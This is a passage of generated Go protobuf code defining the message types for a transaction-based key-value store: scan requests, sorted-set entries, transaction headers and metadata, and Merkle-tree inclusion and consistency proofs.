`protobuf:"bytes,1,rep,name=Operations,proto3" json:"Operations,omitempty"` // If set to true, do not wait for indexing to process this transaction NoWait bool `protobuf:"varint,2,opt,name=noWait,proto3" json:"noWait,omitempty"` // Preconditions to check Preconditions []*Precondition `protobuf:"bytes,3,rep,name=preconditions,proto3" json:"preconditions,omitempty"` } func (x *ExecAllRequest) Reset() { *x = ExecAllRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[19] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ExecAllRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*ExecAllRequest) ProtoMessage() {} func (x *ExecAllRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[19] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ExecAllRequest.ProtoReflect.Descriptor instead. func (*ExecAllRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{19} } func (x *ExecAllRequest) GetOperations() []*Op { if x != nil { return x.Operations } return nil } func (x *ExecAllRequest) GetNoWait() bool { if x != nil { return x.NoWait } return false } func (x *ExecAllRequest) GetPreconditions() []*Precondition { if x != nil { return x.Preconditions } return nil } type Entries struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // List of entries Entries []*Entry `protobuf:"bytes,1,rep,name=entries,proto3" json:"entries,omitempty"` } func (x *Entries) Reset() { *x = Entries{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[20] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Entries) String() string { return protoimpl.X.MessageStringOf(x) } func (*Entries) ProtoMessage() {} func (x *Entries) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[20] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Entries.ProtoReflect.Descriptor instead. func (*Entries) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{20} } func (x *Entries) GetEntries() []*Entry { if x != nil { return x.Entries } return nil } type ZEntry struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Name of the sorted set Set []byte `protobuf:"bytes,1,opt,name=set,proto3" json:"set,omitempty"` // Referenced key Key []byte `protobuf:"bytes,2,opt,name=key,proto3" json:"key,omitempty"` // Referenced entry Entry *Entry `protobuf:"bytes,3,opt,name=entry,proto3" json:"entry,omitempty"` // Sorted set element's score Score float64 `protobuf:"fixed64,4,opt,name=score,proto3" json:"score,omitempty"` // At which transaction the key is bound, // 0 if reference is not bound and should read the most recent reference AtTx uint64 `protobuf:"varint,5,opt,name=atTx,proto3" json:"atTx,omitempty"` } func (x *ZEntry) Reset() { *x = ZEntry{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[21] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ZEntry) String() string { return protoimpl.X.MessageStringOf(x) } func (*ZEntry) ProtoMessage() {} func (x *ZEntry) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[21] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ZEntry.ProtoReflect.Descriptor instead. func (*ZEntry) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{21} } func (x *ZEntry) GetSet() []byte { if x != nil { return x.Set } return nil } func (x *ZEntry) GetKey() []byte { if x != nil { return x.Key } return nil } func (x *ZEntry) GetEntry() *Entry { if x != nil { return x.Entry } return nil } func (x *ZEntry) GetScore() float64 { if x != nil { return x.Score } return 0 } func (x *ZEntry) GetAtTx() uint64 { if x != nil { return x.AtTx } return 0 } type ZEntries struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Entries []*ZEntry `protobuf:"bytes,1,rep,name=entries,proto3" json:"entries,omitempty"` } func (x *ZEntries) Reset() { *x = ZEntries{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[22] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ZEntries) String() string { return protoimpl.X.MessageStringOf(x) } func (*ZEntries) ProtoMessage() {} func (x *ZEntries) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[22] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ZEntries.ProtoReflect.Descriptor instead. func (*ZEntries) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{22} } func (x *ZEntries) GetEntries() []*ZEntry { if x != nil { return x.Entries } return nil } type ScanRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // If not empty, continue scan at (when inclusiveSeek == true) // or after (when inclusiveSeek == false) that key SeekKey []byte `protobuf:"bytes,1,opt,name=seekKey,proto3" json:"seekKey,omitempty"` // stop at (when inclusiveEnd == true) // or before (when inclusiveEnd == false) that key EndKey []byte `protobuf:"bytes,7,opt,name=endKey,proto3" json:"endKey,omitempty"` // search for entries with this prefix only Prefix []byte `protobuf:"bytes,2,opt,name=prefix,proto3" json:"prefix,omitempty"` // If set to true, sort items in descending order Desc bool `protobuf:"varint,3,opt,name=desc,proto3" json:"desc,omitempty"` // maximum number of entries to get, if not specified, the default value is used Limit uint64 `protobuf:"varint,4,opt,name=limit,proto3" json:"limit,omitempty"` // If non-zero, only require transactions up to this transaction to be // indexed, newer transaction may still be pending SinceTx uint64 `protobuf:"varint,5,opt,name=sinceTx,proto3" json:"sinceTx,omitempty"` // Deprecated: If set to true, do not wait for indexing to be done before finishing this call NoWait bool `protobuf:"varint,6,opt,name=noWait,proto3" json:"noWait,omitempty"` // If set to true, results will include seekKey InclusiveSeek bool `protobuf:"varint,8,opt,name=inclusiveSeek,proto3" json:"inclusiveSeek,omitempty"` // If set to true, results will include endKey if needed InclusiveEnd bool `protobuf:"varint,9,opt,name=inclusiveEnd,proto3" json:"inclusiveEnd,omitempty"` // Specify the initial entry to be returned by excluding the initial set of entries Offset uint64 `protobuf:"varint,10,opt,name=offset,proto3" json:"offset,omitempty"` } func (x *ScanRequest) Reset() { *x = ScanRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[23] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ScanRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*ScanRequest) ProtoMessage() {} func (x *ScanRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[23] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ScanRequest.ProtoReflect.Descriptor instead. func (*ScanRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{23} } func (x *ScanRequest) GetSeekKey() []byte { if x != nil { return x.SeekKey } return nil } func (x *ScanRequest) GetEndKey() []byte { if x != nil { return x.EndKey } return nil } func (x *ScanRequest) GetPrefix() []byte { if x != nil { return x.Prefix } return nil } func (x *ScanRequest) GetDesc() bool { if x != nil { return x.Desc } return false } func (x *ScanRequest) GetLimit() uint64 { if x != nil { return x.Limit } return 0 } func (x *ScanRequest) GetSinceTx() uint64 { if x != nil { return x.SinceTx } return 0 } func (x *ScanRequest) GetNoWait() bool { if x != nil { return x.NoWait } return false } func (x *ScanRequest) GetInclusiveSeek() bool { if x != nil { return x.InclusiveSeek } return false } func (x *ScanRequest) GetInclusiveEnd() bool { if x != nil { return x.InclusiveEnd } return false } func (x *ScanRequest) GetOffset() uint64 { if x != nil { return x.Offset } return 0 } type KeyPrefix struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Prefix []byte `protobuf:"bytes,1,opt,name=prefix,proto3" json:"prefix,omitempty"` } func (x *KeyPrefix) Reset() { *x = KeyPrefix{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[24] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *KeyPrefix) String() string { return protoimpl.X.MessageStringOf(x) } func (*KeyPrefix) ProtoMessage() {} func (x *KeyPrefix) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[24] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use KeyPrefix.ProtoReflect.Descriptor instead. func (*KeyPrefix) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{24} } func (x *KeyPrefix) GetPrefix() []byte { if x != nil { return x.Prefix } return nil } type EntryCount struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Count uint64 `protobuf:"varint,1,opt,name=count,proto3" json:"count,omitempty"` } func (x *EntryCount) Reset() { *x = EntryCount{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[25] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *EntryCount) String() string { return protoimpl.X.MessageStringOf(x) } func (*EntryCount) ProtoMessage() {} func (x *EntryCount) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[25] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use EntryCount.ProtoReflect.Descriptor instead. func (*EntryCount) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{25} } func (x *EntryCount) GetCount() uint64 { if x != nil { return x.Count } return 0 } type Signature struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields PublicKey []byte `protobuf:"bytes,1,opt,name=publicKey,proto3" json:"publicKey,omitempty"` Signature []byte `protobuf:"bytes,2,opt,name=signature,proto3" json:"signature,omitempty"` } func (x *Signature) Reset() { *x = Signature{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[26] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Signature) String() string { return protoimpl.X.MessageStringOf(x) } func (*Signature) ProtoMessage() {} func (x *Signature) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[26] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Signature.ProtoReflect.Descriptor instead. func (*Signature) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{26} } func (x *Signature) GetPublicKey() []byte { if x != nil { return x.PublicKey } return nil } func (x *Signature) GetSignature() []byte { if x != nil { return x.Signature } return nil } type TxHeader struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Transaction ID Id uint64 `protobuf:"varint,1,opt,name=id,proto3" json:"id,omitempty"` // State value (Accumulative Hash - Alh) of the previous transaction PrevAlh []byte `protobuf:"bytes,2,opt,name=prevAlh,proto3" json:"prevAlh,omitempty"` // Unix timestamp of the transaction (in seconds) Ts int64 `protobuf:"varint,3,opt,name=ts,proto3" json:"ts,omitempty"` // Number of entries in a transaction Nentries int32 `protobuf:"varint,4,opt,name=nentries,proto3" json:"nentries,omitempty"` // Entries Hash - cumulative hash of all entries in the transaction EH []byte `protobuf:"bytes,5,opt,name=eH,proto3" json:"eH,omitempty"` // Binary linking tree transaction ID // (ID of last transaction already in the main Merkle Tree) BlTxId uint64 `protobuf:"varint,6,opt,name=blTxId,proto3" json:"blTxId,omitempty"` // Binary linking tree root (Root hash of the Merkle Tree) BlRoot []byte `protobuf:"bytes,7,opt,name=blRoot,proto3" json:"blRoot,omitempty"` // Header version Version int32 `protobuf:"varint,8,opt,name=version,proto3" json:"version,omitempty"` // Transaction metadata Metadata *TxMetadata `protobuf:"bytes,9,opt,name=metadata,proto3" json:"metadata,omitempty"` } func (x *TxHeader) Reset() { *x = TxHeader{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[27] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *TxHeader) String() string { return protoimpl.X.MessageStringOf(x) } func (*TxHeader) ProtoMessage() {} func (x *TxHeader) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[27] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use TxHeader.ProtoReflect.Descriptor instead. func (*TxHeader) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{27} } func (x *TxHeader) GetId() uint64 { if x != nil { return x.Id } return 0 } func (x *TxHeader) GetPrevAlh() []byte { if x != nil { return x.PrevAlh } return nil } func (x *TxHeader) GetTs() int64 { if x != nil { return x.Ts } return 0 } func (x *TxHeader) GetNentries() int32 { if x != nil { return x.Nentries } return 0 } func (x *TxHeader) GetEH() []byte { if x != nil { return x.EH } return nil } func (x *TxHeader) GetBlTxId() uint64 { if x != nil { return x.BlTxId } return 0 } func (x *TxHeader) GetBlRoot() []byte { if x != nil { return x.BlRoot } return nil } func (x *TxHeader) GetVersion() int32 { if x != nil { return x.Version } return 0 } func (x *TxHeader) GetMetadata() *TxMetadata { if x != nil { return x.Metadata } return nil } // TxMetadata contains metadata set to whole transaction type TxMetadata struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Entry expiration information TruncatedTxID uint64 `protobuf:"varint,1,opt,name=truncatedTxID,proto3" json:"truncatedTxID,omitempty"` // Extra data Extra []byte `protobuf:"bytes,2,opt,name=extra,proto3" json:"extra,omitempty"` } func (x *TxMetadata) Reset() { *x = TxMetadata{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[28] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *TxMetadata) String() string { return protoimpl.X.MessageStringOf(x) } func (*TxMetadata) ProtoMessage() {} func (x *TxMetadata) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[28] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use TxMetadata.ProtoReflect.Descriptor instead. func (*TxMetadata) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{28} } func (x *TxMetadata) GetTruncatedTxID() uint64 { if x != nil { return x.TruncatedTxID } return 0 } func (x *TxMetadata) GetExtra() []byte { if x != nil { return x.Extra } return nil } // LinearProof contains the linear part of the proof (outside the main Merkle Tree) type LinearProof struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Starting transaction of the proof SourceTxId uint64 `protobuf:"varint,1,opt,name=sourceTxId,proto3" json:"sourceTxId,omitempty"` // End transaction of the proof TargetTxId uint64 `protobuf:"varint,2,opt,name=TargetTxId,proto3" json:"TargetTxId,omitempty"` // List of terms (inner hashes of transaction entries) Terms [][]byte `protobuf:"bytes,3,rep,name=terms,proto3" json:"terms,omitempty"` } func (x *LinearProof) Reset() { *x = LinearProof{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[29] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *LinearProof) String() string { return protoimpl.X.MessageStringOf(x) } func (*LinearProof) ProtoMessage() {} func (x *LinearProof) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[29] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use LinearProof.ProtoReflect.Descriptor instead. func (*LinearProof) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{29} } func (x *LinearProof) GetSourceTxId() uint64 { if x != nil { return x.SourceTxId } return 0 } func (x *LinearProof) GetTargetTxId() uint64 { if x != nil { return x.TargetTxId } return 0 } func (x *LinearProof) GetTerms() [][]byte { if x != nil { return x.Terms } return nil } // LinearAdvanceProof contains the proof of consistency between the consumed part of the older linear chain // and the new Merkle Tree type LinearAdvanceProof struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // terms for the linear chain LinearProofTerms [][]byte `protobuf:"bytes,1,rep,name=linearProofTerms,proto3" json:"linearProofTerms,omitempty"` // inclusion proofs for steps on the linear chain InclusionProofs []*InclusionProof `protobuf:"bytes,2,rep,name=inclusionProofs,proto3" json:"inclusionProofs,omitempty"` } func (x *LinearAdvanceProof) Reset() { *x = LinearAdvanceProof{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[30] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *LinearAdvanceProof) String() string { return protoimpl.X.MessageStringOf(x) } func (*LinearAdvanceProof) ProtoMessage() {} func (x *LinearAdvanceProof) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[30] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use LinearAdvanceProof.ProtoReflect.Descriptor instead. func (*LinearAdvanceProof) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{30} } func (x *LinearAdvanceProof) GetLinearProofTerms() [][]byte { if x != nil { return x.LinearProofTerms } return nil } func (x *LinearAdvanceProof) GetInclusionProofs() []*InclusionProof { if x != nil { return x.InclusionProofs } return nil } // DualProof contains inclusion and consistency proofs for dual Merkle-Tree + Linear proofs type DualProof struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Header of the source (earlier) transaction SourceTxHeader *TxHeader `protobuf:"bytes,1,opt,name=sourceTxHeader,proto3" json:"sourceTxHeader,omitempty"` // Header of the target (latter) transaction TargetTxHeader *TxHeader `protobuf:"bytes,2,opt,name=targetTxHeader,proto3" json:"targetTxHeader,omitempty"` // Inclusion proof of the source transaction hash in the main Merkle Tree InclusionProof [][]byte `protobuf:"bytes,3,rep,name=inclusionProof,proto3" json:"inclusionProof,omitempty"` // Consistency proof between Merkle Trees in the source and target transactions ConsistencyProof [][]byte `protobuf:"bytes,4,rep,name=consistencyProof,proto3" json:"consistencyProof,omitempty"` // Accumulative hash (Alh) of the last transaction that's part of the target Merkle Tree TargetBlTxAlh []byte `protobuf:"bytes,5,opt,name=targetBlTxAlh,proto3" json:"targetBlTxAlh,omitempty"` // Inclusion proof of the targetBlTxAlh in the target Merkle Tree LastInclusionProof [][]byte `protobuf:"bytes,6,rep,name=lastInclusionProof,proto3" json:"lastInclusionProof,omitempty"` // Linear proof starting from targetBlTxAlh to the final state value LinearProof *LinearProof `protobuf:"bytes,7,opt,name=linearProof,proto3" json:"linearProof,omitempty"` // Proof of consistency between some part of older linear chain and newer Merkle Tree LinearAdvanceProof *LinearAdvanceProof `protobuf:"bytes,8,opt,name=LinearAdvanceProof,proto3" json:"LinearAdvanceProof,omitempty"` } func (x *DualProof) Reset() { *x = DualProof{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[31] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DualProof) String() string { return protoimpl.X.MessageStringOf(x) } func (*DualProof) ProtoMessage() {} func (x *DualProof) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[31] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DualProof.ProtoReflect.Descriptor instead. func (*DualProof) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{31} } func (x *DualProof) GetSourceTxHeader() *TxHeader { if x != nil { return x.SourceTxHeader } return nil } func (x *DualProof) GetTargetTxHeader() *TxHeader { if x != nil { return x.TargetTxHeader } return nil } func (x *DualProof) GetInclusionProof() [][]byte { if x != nil { return x.InclusionProof } return nil } func (x *DualProof) GetConsistencyProof() [][]byte { if x != nil { return x.ConsistencyProof } return nil } func (x *DualProof) GetTargetBlTxAlh() []byte { if x != nil { return x.TargetBlTxAlh } return nil } func (x *DualProof) GetLastInclusionProof() [][]byte { if x != nil { return x.LastInclusionProof } return nil } func (x *DualProof) GetLinearProof() *LinearProof { if x != nil { return x.LinearProof } return nil } func (x *DualProof) GetLinearAdvanceProof() *LinearAdvanceProof { if x != nil { return x.LinearAdvanceProof } return nil } // DualProofV2 contains inclusion and consistency proofs type DualProofV2 struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Header of the source (earlier) transaction SourceTxHeader *TxHeader `protobuf:"bytes,1,opt,name=sourceTxHeader,proto3" json:"sourceTxHeader,omitempty"` // Header of the target (latter) transaction TargetTxHeader *TxHeader `protobuf:"bytes,2,opt,name=targetTxHeader,proto3" json:"targetTxHeader,omitempty"` // Inclusion proof of the source transaction hash in the main Merkle Tree InclusionProof [][]byte `protobuf:"bytes,3,rep,name=inclusionProof,proto3" json:"inclusionProof,omitempty"` // Consistency proof between Merkle Trees in the source and target transactions ConsistencyProof [][]byte `protobuf:"bytes,4,rep,name=consistencyProof,proto3" json:"consistencyProof,omitempty"` } func (x *DualProofV2) Reset() { *x = DualProofV2{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[32] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DualProofV2) String() string { return protoimpl.X.MessageStringOf(x) } func (*DualProofV2) ProtoMessage() {} func (x *DualProofV2) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[32] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DualProofV2.ProtoReflect.Descriptor instead. func (*DualProofV2) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{32} } func (x *DualProofV2) GetSourceTxHeader() *TxHeader { if x != nil { return x.SourceTxHeader } return nil } func (x *DualProofV2) GetTargetTxHeader() *TxHeader { if x != nil { return x.TargetTxHeader } return nil } func (x *DualProofV2) GetInclusionProof() [][]byte { if x != nil { return x.InclusionProof } return nil } func (x *DualProofV2) GetConsistencyProof() [][]byte { if x != nil { return x.ConsistencyProof } return nil } type Tx struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Transaction header Header *TxHeader `protobuf:"bytes,1,opt,name=header,proto3" json:"header,omitempty"` // Raw entry values Entries []*TxEntry `protobuf:"bytes,2,rep,name=entries,proto3" json:"entries,omitempty"` // KV entries in the transaction (parsed) KvEntries []*Entry `protobuf:"bytes,3,rep,name=kvEntries,proto3" json:"kvEntries,omitempty"` // Sorted Set entries in the transaction (parsed) ZEntries []*ZEntry `protobuf:"bytes,4,rep,name=zEntries,proto3" json:"zEntries,omitempty"` } func (x *Tx) Reset() { *x = Tx{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[33] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Tx) String() string { return protoimpl.X.MessageStringOf(x) } func (*Tx) ProtoMessage() {} func (x *Tx) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[33] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Tx.ProtoReflect.Descriptor instead. func (*Tx) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{33} } func (x *Tx) GetHeader() *TxHeader { if x != nil { return x.Header } return nil } func (x *Tx) GetEntries() []*TxEntry { if x != nil { return x.Entries } return nil } func (x *Tx) GetKvEntries() []*Entry { if x != nil { return x.KvEntries } return nil } func (x *Tx) GetZEntries() []*ZEntry { if x != nil { return x.ZEntries } return nil } type TxEntry struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Raw key value (contains 1-byte prefix for kind of the key) Key []byte `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` // Value hash HValue []byte `protobuf:"bytes,2,opt,name=hValue,proto3" json:"hValue,omitempty"` // Value length VLen int32 `protobuf:"varint,3,opt,name=vLen,proto3" json:"vLen,omitempty"` // Entry metadata Metadata *KVMetadata `protobuf:"bytes,4,opt,name=metadata,proto3" json:"metadata,omitempty"` // value, must be ignored when len(value) == 0 and vLen > 0. // Otherwise sha256(value) must be equal to hValue. Value []byte `protobuf:"bytes,5,opt,name=value,proto3" json:"value,omitempty"` } func (x *TxEntry) Reset() { *x = TxEntry{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[34] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *TxEntry) String() string { return protoimpl.X.MessageStringOf(x) } func (*TxEntry) ProtoMessage() {} func (x *TxEntry) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[34] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use TxEntry.ProtoReflect.Descriptor instead. func (*TxEntry) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{34} } func (x *TxEntry) GetKey() []byte { if x != nil { return x.Key } return nil } func (x *TxEntry) GetHValue() []byte { if x != nil { return x.HValue } return nil } func (x *TxEntry) GetVLen() int32 { if x != nil { return x.VLen } return 0 } func (x *TxEntry) GetMetadata() *KVMetadata { if x != nil { return x.Metadata } return nil } func (x *TxEntry) GetValue() []byte { if x != nil { return x.Value } return nil } type KVMetadata struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // True if this entry denotes a logical deletion Deleted bool `protobuf:"varint,1,opt,name=deleted,proto3" json:"deleted,omitempty"` // Entry expiration information Expiration *Expiration `protobuf:"bytes,2,opt,name=expiration,proto3" json:"expiration,omitempty"` // If set to true, this entry will not be indexed and will only be accessed through GetAt calls NonIndexable bool `protobuf:"varint,3,opt,name=nonIndexable,proto3" json:"nonIndexable,omitempty"` } func (x *KVMetadata) Reset() { *x = KVMetadata{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[35] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *KVMetadata) String() string { return protoimpl.X.MessageStringOf(x) } func (*KVMetadata) ProtoMessage() {} func (x *KVMetadata) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[35] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use KVMetadata.ProtoReflect.Descriptor instead. func (*KVMetadata) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{35} } func (x *KVMetadata) GetDeleted() bool { if x != nil { return x.Deleted } return false } func (x *KVMetadata) GetExpiration() *Expiration { if x != nil { return x.Expiration } return nil } func (x *KVMetadata) GetNonIndexable() bool { if x != nil { return x.NonIndexable } return false } type Expiration struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Entry expiration time (unix timestamp in seconds) ExpiresAt int64 `protobuf:"varint,1,opt,name=expiresAt,proto3" json:"expiresAt,omitempty"` } func (x *Expiration) Reset() { *x = Expiration{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[36] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Expiration) 